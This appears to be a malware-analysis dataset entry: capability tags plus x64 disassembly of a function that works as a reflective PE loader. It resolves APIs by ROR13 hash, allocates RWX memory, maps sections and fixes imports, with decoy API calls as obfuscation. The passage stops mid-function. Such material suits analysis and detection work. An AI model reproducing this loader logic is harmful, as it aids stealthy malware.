Function at 0x180003b48
Capabilities:
Accept command line arguments
Access peb ldr_data
Allocate or change rwx memory
Allocate thread local storage
Enumerate pe sections
Execute shellcode via indirect call
Get disk information
Identify system language via api
Parse pe header
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x1a0
movaps xmmword [r11 - 0x48], xmm6
movaps xmmword [r11 - 0x58], xmm7
movaps xmmword [r11 - 0x68], xmm8
movaps xmmword [r11 - 0x78], xmm9
movaps xmmword [r11 - 0x88], xmm10
movaps xmmword [r11 - 0x98], xmm11
movaps xmmword [r11 - 0xa8], xmm12
movaps xmmword [r11 - 0xb8], xmm13
movaps xmmword [r11 - 0xc8], xmm14
movaps xmmword [r11 - 0xd8], xmm15
mov rbx, rcx
rdtscp
lea r8, [r11 + 0x10]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov r9d, 0x989680
cmp rax, r9
jbe 0x180003bcb
mov edi, 0x66399b1
jmp 0x180003bee
rdtscp
lea r8, [rsp + 0x1e8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov rcx, rax
xor edx, edx
mov rax, r9
div rcx
mov rdi, rax
rdtscp
lea r8, [rsp + 0x1e8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov ecx, eax
imul r8, rcx, 0xcd22
movabs rax, 0x58ed2308158ed231
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x5f
sub r8, rax
lea eax, [r8 + 3]
mov dword [rsp + 0x1f8], eax
mov r14d, eax
mov dword [rsp + 0x24], eax
movd xmm6, edi
cvtdq2ps xmm6, xmm6
xor r12d, r12d
mov ecx, r12d
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0xe0], r12
mov eax, r12d
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x40], rax
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd8], r12
xorps xmm14, xmm14
movsd qword [rsp + 0xd0], xmm14
movsd xmm7, qword [0x180030e18]
movsd qword [rsp + 0xf0], xmm7
movsd xmm13, qword [0x180030cd0]
movsd qword [rsp + 0x98], xmm13
movsd xmm0, qword [0x180030e50]
movsd qword [rsp + 0xc0], xmm0
movaps xmm0, xmm7
call fcn.180003a00
xorps xmm0, xmm0
call fcn.180003a00
mov rbx, qword [rbx]
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0xa8], rbx
lea r15d, [r12 + 1]
movss xmm9, dword [0x180030ebc]
movss xmm11, dword [0x180030ef0]
movss xmm8, dword [0x180030f1c]
movss xmm10, dword [0x180030f00]
lea eax, [rdi + rdi]
cmp eax, r14d
jl 0x1800052cc
movaps xmm0, xmm7
call fcn.180003a00
movaps xmm12, xmm0
movaps xmm0, xmm14
call fcn.180003a00
addsd xmm12, xmm0
mulsd xmm12, xmm13
divsd xmm12, qword [0x180030d28]
movsd qword [rsp + 0xb8], xmm12
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x1800052b7
movsxd r13, dword [rbx + 0x3c]
lea rax, [r13 - 0x40]
cmp rax, 0x3bf
ja 0x1800052b7
add r13, rbx
mov qword [rsp + 0x48], r13
cmp dword [r13], 0x4550
jne 0x1800052b7
mov rsi, qword gs:[0x60]
mov qword [rsp + 0x70], rsi
cmp edi, r14d
jle 0x180003dc6
mov rsi, qword [rsi + 0x18]
mov qword [rsp + 0x70], rsi
mov rdx, qword [rsi + 0x20]
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x30], rdx
jmp 0x180003dc9
mov rdx, r12
movss xmm9, dword [0x180030f44]
movss xmm11, dword [0x180030f54]
movss xmm8, dword [0x180030e44]
movss xmm15, dword [0x180030ee0]
movss xmm13, dword [0x180030e10]
test rdx, rdx
je 0x180004555
mov ebx, dword [rsp + 0x1f8]
cmp edi, ebx
cmovge ebx, edi
mov dword [rsp + 0x38], ebx
mov rax, qword [rdx + 0x50]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x50], rax
movzx r14d, word [rdx + 0x48]
mov qword [rsp + 0x80], r14
mov word [rsp + 0x1e8], r14w
mov r13, r12
mov qword [rsp + 0xe8], r12
lea rcx, [r15 + r14]
mov eax, 8
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.18000935c
nop
mov r9, qword [rsp + 0x28]
jmp 0x180003f1d
mov edi, ebx
test r14w, r14w
je 0x18000422f
mov r8d, dword [rsp + 0x24]
cmp edi, r8d
jle 0x180003ffa
lea eax, [rdi + rdi]
cmp eax, r8d
jge 0x180003fe5
movss xmm7, dword [0x180030f14]
movss xmm8, dword [0x180030e88]
ucomiss xmm6, xmm8
jmp 0x180003f84
call qword [sym.imp.SHELL32.dll_InitNetworkAddressControl]
movaps xmm0, xmm7
mulss xmm0, xmm7
movaps xmm7, xmm0
call fcn.1800031b0
movsx ecx, al
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
movaps xmm1, xmm7
divss xmm1, xmm0
ucomiss xmm1, xmm8
jp 0x180003f5a
jne 0x180003f5a
mov edi, 0x5c
lea ecx, [rdi + 0x20]
movss xmm7, dword [0x180030e7c]
imul edi, edi
movd xmm6, ecx
cvtdq2ps xmm6, xmm6
movaps xmm0, xmm6
call fcn.1800031b0
mov rbx, rax
movaps xmm0, xmm6
call fcn.1800031fc
movsx ecx, al
mov eax, ebx
cdq
idiv ecx
add eax, edi
movd xmm0, eax
cvtdq2ps xmm0, xmm0
comiss xmm7, xmm0
ja 0x180003f98
ucomiss xmm0, dword [0x180030e98]
jp 0x180003fd6
je 0x180003fe3
movss xmm0, dword [0x180030ed4]
call fcn.1800031fc
jmp 0x180003fe3
mov ecx, r13d
call fcn.180005424
mov r13d, eax
mov r8d, dword [rsp + 0x24]
mov r9, qword [rsp + 0x28]
cmp byte [r9], 0x61
jb 0x18000415e
mov dword [rsp + 0x1e8], edi
cmp edi, r8d
jle 0x180004179
mov eax, edi
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1f0], eax
cmp eax, r8d
jge 0x180004144
mov r14b, 0x2e
mov ebx, 0x31
jmp 0x180004068
movsx eax, r14b
movd xmm0, eax
cvtdq2ps xmm0, xmm0
call fcn.1800031b0
mov r14, rax
xorps xmm0, xmm0
cvtsi2ss xmm0, rbx
call fcn.1800031b0
mov rbx, rax
movsx rcx, r14b
imul rcx, rax
xorps xmm6, xmm6
cvtsi2ss xmm6, rcx
comiss xmm9, xmm6
jae 0x180004035
comiss xmm6, xmm11
jbe 0x18000407c
movss xmm6, dword [0x180030e14]
movss xmm3, dword [0x180030f30]
movss xmm2, dword [0x180030e90]
jmp 0x1800040b8
movaps xmm0, xmm2
divss xmm0, xmm2
cvttss2si rax, xmm0
movaps xmm1, xmm3
addss xmm1, xmm3
movaps xmm3, xmm1
xorps xmm6, xmm6
cvtsi2ss xmm6, rax
subss xmm2, xmm6
divss xmm6, xmm1
divss xmm6, xmm2
comiss xmm8, xmm6
ja 0x18000408e
ucomiss xmm6, dword [0x180030e94]
jp 0x1800040c9
je 0x1800040df
movss xmm0, dword [0x180030ea4]
call fcn.1800031fc
movaps xmm0, xmm15
call fcn.1800031b0
movss xmm7, dword [0x180030f90]
movaps xmm0, xmm7
call fcn.180003888
movaps xmm7, xmm0
call fcn.1800031b0
movd xmm6, eax
cvtdq2ps xmm6, xmm6
mulss xmm6, xmm7
movss xmm0, dword [0x180030e2c]
comiss xmm0, xmm6
ja 0x1800040e7
mov ecx, dword [rsp + 0x1e8]
add ecx, r15d
mov dword [rsp + 0x1e8], ecx
mov r8d, dword [rsp + 0x24]
cmp ecx, r8d
mov eax, dword [rsp + 0x1f0]
jg 0x180004022
mov r14, qword [rsp + 0x80]
mov r9, qword [rsp + 0x28]
jmp 0x18000417b
mov r9, qword [rsp + 0x28]
movzx eax, byte [r9]
add rax, 0xffffffffffffffe0
add r13, rax
mov r14, qword [rsp + 0x80]
jmp 0x180004176
movzx eax, byte [r9]
add r13, rax
lea eax, [rdi + rdi]
mov ecx, dword [rsp + 0x1f8]
cmp eax, ecx
cmovge ecx, edi
mov edi, ecx
cmp edi, r8d
jl 0x180004188
add r9, r15
mov qword [rsp + 0x28], r9
jmp 0x180004219
comiss xmm6, dword [0x180030e70]
jb 0x1800041bf
call qword [sym.imp.KERNEL32.dll_GetOEMCP]
movaps xmm0, xmm8
call fcn.1800031fc
movsx ecx, al
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
cvtps2pd xmm1, xmm0
movsd xmm2, qword [0x180030e08]
subsd xmm2, xmm1
cvtpd2ps xmm0, xmm2
jmp 0x1800041c7
movss xmm0, dword [0x180030fd0]
ucomiss xmm0, xmm13
jp 0x1800041f3
jne 0x1800041f3
call qword [sym.imp.USER32.dll_CountClipboardFormats]
movss xmm0, dword [0x180030fb4]
call fcn.180003888
cvttss2si rcx, xmm0
mov eax, 0x9159600
cqo
idiv rcx
jmp 0x18000420c
movss xmm0, dword [0x180030fb0]
call fcn.1800031fc
movsx rcx, al
mov eax, 0xc18
sub rax, rcx
xorps xmm6, xmm6
mov r9, qword [rsp + 0x28]
cvtsi2ss xmm6, rax
mov eax, 0xffff
add r14w, ax
mov qword [rsp + 0x80], r14
jmp 0x180003f1f
mov ebx, dword [rsp + 0x1f8]
cmp r13d, 0x6a4abc5b
jne 0x18000450e
lea eax, [rdi + rdi]
mov ecx, ebx
mov r14d, ebx
cmp eax, ebx
cmovge ecx, edi
mov rax, qword [rsp + 0x58]
mov rsi, qword [rax + 0x20]
mov qword [rsp + 0x70], rsi
movsxd rax, dword [rsi + 0x3c]
mov r11d, dword [rax + rsi + 0x88]
add r11, rsi
mov qword [rsp + 0x50], r11
mov r10d, dword [r11 + 0x20]
add r10, rsi
mov qword [rsp + 0x1f0], r10
mov r9d, dword [r11 + 0x24]
add r9, rsi
mov qword [rsp + 0x80], r9
mov eax, 3
movzx r8d, ax
mov word [rsp + 0x1e8], ax
mov edi, ecx
test r8w, r8w
je 0x180004511
lea eax, [rdi + 4]
mov r8d, ebx
cmp eax, r14d
cmovg r8d, edi
mov edx, dword [r10]
add rdx, rsi
mov ecx, r12d
mov al, byte [rdx]
ror ecx, 0xd
movsx eax, al
add ecx, eax
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x1800042c5
cmp ecx, 0xec0e4e8e
je 0x1800042f5
cmp ecx, 0x7c0dfcaa
je 0x1800042f5
mov edi, r8d
cmp ecx, 0x91afca54
jne 0x1800043f6
cmp r8d, r14d
cmovne ebx, r8d
mov r13d, dword [r11 + 0x1c]
movzx r14d, word [r9]
add r13, rsi
cmp ecx, 0xec0e4e8e
jne 0x180004396
mov edi, ebx
mov ecx, dword [rsp + 0x24]
cmp ebx, ecx
jle 0x1800043cd
lea eax, [rbx + 4]
cmp eax, ecx
jg 0x18000436a
ucomiss xmm6, dword [0x180030f24]
jp 0x180004333
je 0x180004361
call qword [sym.imp.USER32.dll_GetActiveWindow]
movss xmm0, dword [0x180030e8c]
call fcn.180003888
movss xmm6, dword [0x180030cd8]
subss xmm6, xmm0
subss xmm6, dword [0x180030fdc]
lea eax, [rbx + 4]
mov ecx, dword [rsp + 0x24]
add edi, r15d
cmp edi, ecx
jg 0x180004324
jmp 0x18000437f
mov eax, dword [r13 + r14*4]
add rax, rsi
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x88], rax
mov r9, qword [rsp + 0x80]
mov r10, qword [rsp + 0x1f0]
mov r11, qword [rsp + 0x50]
jmp 0x1800043cd
cmp ecx, 0x7c0dfcaa
jne 0x1800043b5
mov eax, dword [r13 + r14*4]
add rax, rsi
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x90], rax
jmp 0x1800043cd
cmp ecx, 0x91afca54
jne 0x1800043cd
mov eax, dword [r13 + r14*4]
add rax, rsi
mov qword [rsp + 0xe0], rax
movzx r8d, word [rsp + 0x1e8]
mov eax, 0xffff
add r8w, ax
mov word [rsp + 0x1e8], r8w
mov edi, ebx
mov ebx, dword [rsp + 0x1f8]
mov r14d, ebx
jmp 0x1800043ff
movzx r8d, word [rsp + 0x1e8]
mov eax, edi
cdq
sub eax, edx
sar eax, 1
cmp eax, ebx
jge 0x1800044f1
movss xmm10, dword [0x180030f80]
movss xmm8, dword [0x180030ea8]
movss xmm9, dword [0x180030fd4]
mov eax, 0x31
comiss xmm10, xmm6
jb 0x18000445e
movd xmm0, eax
cvtdq2ps xmm0, xmm0
call fcn.1800031fc
movsx ebx, al
movd xmm0, ebx
cvtdq2ps xmm0, xmm0
call fcn.180002cb4
sub ebx, eax
movd xmm0, ebx
cvtdq2ps xmm0, xmm0
comiss xmm10, xmm0
jae 0x180004434
movss xmm6, dword [0x180030f3c]
movaps xmm7, xmm8
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
movaps xmm0, xmm7
call fcn.180003888
cvttss2si ebx, xmm0
movaps xmm1, xmm6
mulss xmm1, xmm6
movaps xmm6, xmm1
movaps xmm0, xmm1
call fcn.180003888
cvttss2si eax, xmm0
movd xmm7, eax
cvtdq2ps xmm7, xmm7
movsx eax, bl
movd xmm0, eax
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
divss xmm0, xmm7
comiss xmm13, xmm0
ja 0x18000446a
comiss xmm0, xmm8
jb 0x1800044c9
movaps xmm0, xmm9
call fcn.1800031fc
movaps xmm0, xmm9
call fcn.180003888
mov ecx, 0x3a
lea r8d, [rcx + 9]
add ecx, ecx
mov eax, ecx
cdq
idiv r8d
movsx r8d, al
movd xmm6, r8d
cvtdq2ps xmm6, xmm6
comiss xmm6, xmm11
ja 0x1800044d2
jmp 0x180004429
add r10, 4
mov qword [rsp + 0x1f0], r10
add r9, 2
mov qword [rsp + 0x80], r9
jmp 0x1800042a3
mov r14d, ebx
cmp qword [rsp + 0x60], 0
je 0x18000453e
cmp qword [rsp + 0x68], 0
je 0x18000453e
cmp qword [rsp + 0xe0], 0
je 0x18000453e
lea eax, [rdi + 4]
mov ecx, ebx
cmp eax, r14d
cmovg ecx, edi
mov edi, ecx
mov r13d, ecx
jmp 0x180004558
mov rdx, qword [rsp + 0x58]
mov rdx, qword [rdx]
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x30], rdx
jmp 0x180003df6
mov r13d, edi
mov ebx, r15d
mov dword [rsp + 0x38], r13d
movsd xmm10, qword [0x180030cf8]
movaps xmm0, xmm10
movsd xmm14, qword [0x180030cf0]
movsd xmm13, qword [0x180030cc8]
movsd xmm11, qword [rsp + 0x98]
movsd xmm7, qword [rsp + 0xd0]
movsd xmm8, qword [rsp + 0xc0]
subsd xmm0, xmm14
mulsd xmm0, xmm11
addsd xmm0, xmm7
call fcn.180003a00
mulsd xmm0, xmm13
addsd xmm12, xmm0
add ebx, r15d
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
comisd xmm8, xmm0
jae 0x18000459c
mov ebx, edi
mov dword [rsp + 0x1e8], ebx
movss dword [rsp + 0x1f0], xmm6
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x88], rcx
mov r9, qword [rsp + 0x68]
mov qword [rsp + 0x90], r9
mov qword [rsp + 0x70], rsi
mov r8d, dword [rsp + 0x24]
cmp edi, r8d
jle 0x180004717
mov eax, edi
cdq
sub eax, edx
sar eax, 1
mov r14d, eax
mov dword [rsp + 0x1e8], edi
movss dword [rsp + 0x1f0], xmm6
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x90], r9
mov qword [rsp + 0x70], rsi
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x38], r13d
movss xmm7, dword [0x180030ee8]
xorps xmm8, xmm8
cmp r14d, r8d
jge 0x18000479e
movss xmm0, dword [0x180030f2c]
comiss xmm0, xmm6
jbe 0x180004689
call qword [sym.imp.USER32.dll_GetMessageTime]
movss xmm0, dword [0x180030e6c]
call fcn.1800031fc
jmp 0x180004698
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movaps xmm0, xmm8
call fcn.180003888
movss xmm0, dword [0x180030e2c]
call fcn.1800031b0
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
ucomiss xmm0, dword [0x180030f48]
jp 0x1800046b8
je 0x1800046a0
ucomiss xmm0, dword [0x180030f3c]
jp 0x1800046c9
jne 0x1800046c9
call qword [sym.imp.USER32.dll_GetMessageExtraInfo]
movss xmm0, dword [0x180030ed0]
call fcn.1800031b0
movd xmm6, eax
mov ebx, 0x69
jmp 0x1800046ee
call qword [sym.imp.USER32.dll_GetOpenClipboardWindow]
imul ebx, ebx
movd xmm6, ebx
cvtdq2ps xmm6, xmm6
comiss xmm7, xmm6
movss dword [rsp + 0x1f0], xmm6
ja 0x1800046e1
add edi, r15d
mov r8d, dword [rsp + 0x24]
cmp edi, r8d
jg 0x18000465e
mov ebx, dword [rsp + 0x1e8]
mov r9, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x28]
mov r13, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x18000495a
mov eax, ebx
cdq
sub eax, edx
sar eax, 1
mov r14d, eax
sub r9, rdi
movss xmm9, dword [0x180030f80]
movss xmm8, dword [0x180030fcc]
movss xmm11, dword [0x180030fc8]
xorps xmm14, xmm14
xorps xmm10, xmm10
mov r13, r9
sub rcx, r15
mov qword [rsp + 0x58], rcx
cmp r14d, r8d
jl 0x1800047f2
movsd xmm0, qword [0x180030cc0]
call fcn.180003a00
mulsd xmm0, xmm13
addsd xmm12, xmm0
mov al, byte [rdi]
mov byte [rdi + r13], al
add rdi, r15
mov qword [rsp + 0x28], rdi
jmp 0x18000491b
mov rcx, qword [rsp + 0x78]
movsxd r13, dword [rcx + 0x3c]
add r13, rcx
mov qword [rsp + 0x48], r13
mov eax, dword [r13 + 0x54]
mov qword [rsp + 0x58], rax
mov rdi, rcx
mov qword [rsp + 0x28], rcx
mov edx, dword [r13 + 0x50]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov qword [rsp + 0x70], rax
mov r9, rax
mov ebx, dword [rsp + 0x1e8]
mov r8d, dword [rsp + 0x24]
jmp 0x180004726
movaps xmm7, xmm15
ucomiss xmm6, xmm8
jmp 0x180004813
call qword [sym.imp.ole32.dll_CoFreeUnusedLibraries]
movaps xmm0, xmm7
divss xmm0, xmm7
movaps xmm7, xmm0
movaps xmm6, xmm0
ucomiss xmm0, xmm8
jp 0x1800047fc
jne 0x1800047fc
comiss xmm11, xmm6
jbe 0x180004849
call qword [sym.imp.KERNEL32.dll_UnregisterApplicationRecoveryCallback]
movss xmm0, dword [0x180030e38]
call fcn.180002cb4
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
movaps xmm1, xmm10
divsd xmm1, xmm0
xorps xmm2, xmm2
cvtsd2ss xmm2, xmm1
jmp 0x18000487e
movss xmm0, dword [0x180030e3c]
call fcn.180003888
xorps xmm6, xmm6
cvtss2sd xmm6, xmm0
cvtpd2ps xmm0, xmm6
call fcn.1800031b0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, xmm6
addsd xmm0, qword [0x180030d38]
cvtpd2ps xmm2, xmm0
ucomiss xmm2, dword [0x180030e68]
jp 0x180004889
je 0x18000488f
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov bl, 0x43
mov edi, 0x1c
lea r8d, [rdi + 3]
movsx eax, bl
movsx ebx, bl
imul ebx, eax
movd xmm0, r8d
cvtdq2ps xmm0, xmm0
call fcn.180003888
cvttss2si r8d, xmm0
movsx ecx, bl
mov eax, ecx
cdq
idiv edi
movsx edi, al
mov eax, r8d
cdq
idiv edi
add eax, ecx
movd xmm0, eax
cvtdq2ps xmm0, xmm0
comiss xmm0, xmm8
ja 0x18000489a
comiss xmm9, xmm0
jb 0x180004903
movss xmm0, dword [0x180030f18]
call fcn.180002cb4
mov rbx, rax
movd xmm0, ebx
cvtdq2ps xmm0, xmm0
call fcn.1800031b0
imul eax, ebx
movd xmm6, eax
cvtdq2ps xmm6, xmm6
jmp 0x18000490d
call qword [sym.imp.USER32.dll_GetKBCodePage]
movaps xmm6, xmm14
mov rdi, qword [rsp + 0x28]
movss dword [rsp + 0x1f0], xmm6
mov rcx, qword [rsp + 0x58]
test rcx, rcx
mov r8d, dword [rsp + 0x24]
jne 0x180004767
movsd xmm10, qword [0x180030cf8]
movsd xmm14, qword [0x180030cf0]
mov r13, qword [rsp + 0x48]
lea rax, [rcx - 1]
mov qword [rsp + 0x30], rax
movsd xmm11, qword [rsp + 0x98]
jmp 0x180004962
sub rcx, r15
mov qword [rsp + 0x30], rcx
movsd xmm7, qword [0x180030e48]
movaps xmm8, xmm7
movsd qword [rsp + 0x40], xmm7
mov ebx, r15d
movaps xmm0, xmm10
movsd xmm15, qword [rsp + 0xd0]
mulsd xmm0, xmm11
addsd xmm0, xmm15
call fcn.180003a00
mulsd xmm0, qword [0x180030cb8]
addsd xmm12, xmm0
add ebx, r15d
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
comisd xmm7, xmm0
jae 0x180004985
movsd qword [rsp + 0xb8], xmm12
mov eax, dword [rsp + 0x1e8]
cdq
sub eax, edx
sar eax, 1
mov r14d, dword [rsp + 0x1f8]
cmp eax, r14d
cmovge r14d, dword [rsp + 0x38]
mov dword [rsp + 0x1e8], r14d
movaps xmm0, xmm15
call fcn.180003a00
movaps xmm9, xmm0
movsd xmm0, qword [rsp + 0xf0]
call fcn.180003a00
movaps xmm7, xmm0
addsd xmm7, xmm9
mulsd xmm7, xmm11
divsd xmm7, qword [0x180030d30]
movsd qword [rsp + 0xb8], xmm7
movzx eax, word [r13 + 0x14]
lea rdi, [r13 + 0x18]
add rdi, rax
mov qword [rsp + 0x30], rdi
movzx ecx, word [r13 + 6]
mov qword [rsp + 0xd8], rcx
mov rax, qword [rsp + 0x78]
mov r10, qword [rsp + 0x60]
mov r11, qword [rsp + 0x68]
jmp 0x180004aed
movsd xmm9, qword [rsp + 0xc0]
test rcx, rcx
je 0x180004b49
sub rcx, r15
mov edx, dword [rdi + 0xc]
add rdx, rsi
mov r8d, dword [rdi + 0x14]
add r8, rax
mov r9d, dword [rdi + 0x10]
test r9, r9
je 0x180004b2a
mov al, byte [r8]
mov byte [rdx], al
add rdx, r15
add r8, r15
sub r9, r15
jne 0x180004b15
mov rax, qword [rsp + 0x78]
lea rdx, [r9 - 1]
mov qword [rsp + 0xc8], rdx
add rdi, 0x28
test rcx, rcx
jne 0x180004afc
mov qword [rsp + 0x60], r10
mov qword [rsp + 0x68], r11
mov ebx, r15d
movaps xmm0, xmm10
subsd xmm0, xmm14
mulsd xmm0, xmm11
addsd xmm0, xmm15
call fcn.180003a00
mulsd xmm0, xmm13
addsd xmm7, xmm0
add ebx, r15d
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
comisd xmm9, xmm0
jae 0x180004b50
movsd qword [rsp + 0xd8], xmm7
mov edx, dword [rsp + 0x1f8]
mov ebx, edx
mov r8d, edx
cmp r14d, edx
cmovge ebx, r14d
lea rax, [r13 + 0x90]
mov qword [rsp + 0x50], rax
mov r14d, dword [rax]
add r14, rsi
mov qword [rsp + 0xb0], r14
movss dword [rsp + 0x1f0], xmm6
mov qword [rsp + 0x30], rdi
mov rcx, qword [rsp + 0xc8]
mov qword [rsp + 0xa0], rcx
movsd qword [rsp + 0x40], xmm8
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x88], rcx
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x90], rcx
movss xmm9, dword [0x180030e30]
mov r13d, ebx
cmp dword [r14 + 0xc], r12d
je 0x180004f92
cmp dword [rax], r12d
je 0x180004f92
lea eax, [rbx + rbx]
mov ebx, edx
cmp eax, r8d
cmovge ebx, r13d
mov dword [rsp + 0x1e8], ebx
mov ecx, dword [r14 + 0xc]
add rcx, rsi
call qword [rsp + 0x88]
mov r13, rax
mov qword [rsp + 0xa8], rax
mov ecx, dword [r14]
add rcx, rsi
mov qword [rsp + 0xa0], rcx
mov edi, dword [r14 + 0x10]
add rdi, rsi
mov qword [rsp + 0x30], rdi
jmp 0x180004cb8
mov qword [rsp + 0xe8], rcx
mov r9d, ebx
mov r8, qword [rdi]
test r8, r8
je 0x180004dee
test rcx, rcx
je 0x180004d3d
mov rdx, qword [rcx]
test rdx, rdx
jns 0x180004d3d
lea eax, [rbx + 4]
cmp eax, dword [rsp + 0x24]
jle 0x180004d12
movsxd rax, dword [r13 + 0x3c]
mov ecx, dword [rax + r13 + 0x88]
mov eax, dword [rcx + r13 + 0x10]
movzx edx, dx
sub rdx, rax
mov ecx, dword [rcx + r13 + 0x1c]
add rcx, r13
mov eax, dword [rcx + rdx*4]
add rax, r13
mov qword [rdi], rax
jmp 0x180004dc5
ucomiss xmm6, dword [0x180030f38]
jp 0x180004d21
je 0x180004dc5
call qword [sym.imp.USER32.dll_GetKBCodePage]
movss xmm6, dword [0x180030fdc]
movss dword [rsp + 0x1f0], xmm6
jmp 0x180004dc5
lea eax, [rbx + rbx]
mov ebx, dword [rsp + 0x1f8]
cmp eax, ebx
cmovge ebx, r9d
mov dword [rsp + 0x1e8], ebx
lea rdx, [r8 + rsi]
mov qword [rsp + 0x50], rdx
add rdx, 2
mov rcx, r13
call qword [rsp + 0x90]
mov qword [rdi], rax
jmp 0x180004dc5
add rdi, 8
mov qword [rsp + 0x30], rdi
mov rax, qword [rsp + 0xe8]
lea rcx, [rax + 8]
test rax, rax
cmove rcx, rax
mov qword [rsp + 0xa0], rcx
jmp 0x180004cb8
cmp ebx, dword [rsp + 0x24]
jl 0x180004e05
add r14, 0x14
mov qword [rsp + 0xb0], r14
jmp 0x180004f7e
movss xmm6, dword [0x180030f18]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
movaps xmm0, xmm6
call fcn.180003888
cvttss2si rax, xmm0
xorps xmm6, xmm6
cvtsi2ss xmm6, rax
movss xmm0, dword [0x180030e28]
comiss xmm0, xmm6
ja 0x180004e0d
mov edi, 0x42
movss xmm0, dword [0x180030ec4]
comiss xmm0, xmm6
jb 0x180004e9c
lea r13d, [rdi + 0x1b]
movss xmm6, dword [0x180030f2c]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
sub edi, r13d
movaps xmm0, xmm6
call fcn.1800031b0
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
subss xmm6, xmm0
cvttss2si eax, xmm6
movsx r13d, al
movd xmm6, r13d
cvtdq2ps xmm6, xmm6
movd xmm1, edi
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm0
addss xmm1, xmm6
movss xmm0, dword [0x180030ec4]
comiss xmm0, xmm1
jae 0x180004e53
movsd xmm2, qword [0x180030d80]
movsd xmm6, qword [0x180030dd0]
cvtpd2ps xmm0, xmm2
call fcn.1800031b0
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
addsd xmm6, xmm2
cvttsd2si rax, xmm6
xorps xmm6, xmm6
cvtsi2sd xmm6, rax
movaps xmm0, xmm6
mulsd xmm0, xmm2
cvtpd2ps xmm1, xmm0
movss xmm0, dword [0x180030e28]
comiss xmm0, xmm1
ja 0x180004eac
movsd xmm1, qword [0x180030d48]
movsd xmm7, qword [0x180030d80]
cvtpd2ps xmm0, xmm1
call fcn.180003888
xorps xmm1, xmm1
cvtss2sd xmm1, xmm0
subsd xmm7, xmm1
cvttsd2si eax, xmm7
movsx eax, al
movd xmm7, eax
cvtdq2pd xmm7, xmm7
movaps xmm0, xmm1
addsd xmm0, xmm7
cvtpd2ps xmm6, xmm0
movss dword [rsp + 0x1f0], xmm6
comiss xmm9, xmm6
ja 0x180004ef6
ucomiss xmm6, xmm9
mov rax, qword [rsp + 0x50]
mov edx, dword [rsp + 0x1f8]
mov r8d, edx
jp 0x180004bfd
jne 0x180004bfd
movss xmm6, dword [0x180030e84]
movaps xmm0, xmm6
call fcn.180003888
cvttss2si eax, xmm0
movd xmm6, eax
cvtdq2ps xmm6, xmm6
ucomiss xmm6, xmm9
jp 0x180004f75
je 0x180004f5a
movss dword [rsp + 0x1f0], xmm6
mov rax, qword [rsp + 0x50]
mov edx, dword [rsp + 0x1f8]
mov r8d, edx
jmp 0x180004bfd
mov edi, r15d
movaps xmm0, xmm10
movsd xmm7, qword [rsp + 0xd8]
movsd xmm15, qword [rsp + 0xd0]
mulsd xmm0, xmm11
addsd xmm0, xmm15
call fcn.180003a00
mulsd xmm0, qword [0x180030cb8]
addsd xmm7, xmm0
add edi, r15d
movd xmm0, edi
cvtdq2pd xmm0, xmm0
comisd xmm8, xmm0
jae 0x180004fac
mov rdi, rsi
mov r14, qword [rsp + 0x48]
sub rdi, qword [r14 + 0x30]
cmp dword [r14 + 0xb4], r12d
je 0x18000516a
lea eax, [rbx + 4]
mov r10d, dword [rsp + 0x1f8]
cmp eax, r10d
jg 0x18000501b
comiss xmm6, dword [0x180030f28]
jb 0x180005002
call qword [sym.imp.USER32.dll_GetClipboardViewer]
movss xmm6, dword [0x180030f9c]
jmp 0x180005002
mov ebx, dword [r14 + 0xb0]
add rbx, rsi
mov eax, dword [rbx + 4]
test eax, eax
je 0x18000516a
mov r11d, 0xfff
movss xmm9, dword [0x180030eec]
mov r14d, 2
mov edx, dword [rbx]
add rdx, rsi
mov r8d, eax
sub r8, 8
